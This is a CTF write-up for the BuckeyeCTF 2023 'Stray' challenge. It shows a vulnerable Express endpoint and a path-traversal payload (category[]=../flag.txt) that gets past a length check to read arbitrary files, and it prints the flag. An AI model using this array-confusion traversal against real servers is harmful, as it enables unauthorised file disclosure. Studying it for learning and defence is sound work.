- Published on
BuckeyeCTF 2023 – Stray
- Authors
- Name
- Lumy
Stray
Stuck on what to name your stray cat?
Table of Contents
Source code
The description gives us a zip file containg the source of the challenge : Stray
Solution
Here is the vulnerable part of the code :
app.get("/cat", (req, res) => {
let { category } = req.query;
console.log(category);
if (category.length == 1) {
const filepath = path.resolve("./names/" + category);
const lines = fs.readFileSync(filepath, "utf-8").split("\n");
const name = lines[Math.floor(Math.random() * lines.length)];
res.status(200);
res.send({ name });
return;
}
res.status(500);
res.send({ error: "Unable to generate cat name" });
});
The intended way to use this endpoint is to add to the get query a category
parameter with either m
or f
value (male or female). This request https://stray.chall.pwnoh.io/cat?category=m
will result in an output like this for a male name request :
{"name":"Simba"}
We need to bypass the category.length == 1
condition, and we could thus exploit an LFI as the input is not filtered and the function uses the fs.readFileSync
that will permit to read arbitrary files on the server.
The first idea I had was to use a HTTP parameter pollution using this payload in the GET request : https://stray.chall.pwnoh.io/cat?category=../flag.txt&category=a
On server side, here is the retrieved query : ['../flag.txt', a]
resulting in a total length of 2 and not 1...
The solution is to convert the input directly to a list as follow : https://stray.chall.pwnoh.io/cat?category[]=../flag.txt
This will result on server side to ['../flag.txt']
and that is 1 in length as it is a list.
The corresponding output is :
{"name":"bctf{j4v45cr1p7_15_4_6r347_l4n6u463}"}
Flag : : bctf{j4v45cr1p7_15_4_6r347_l4n6u463}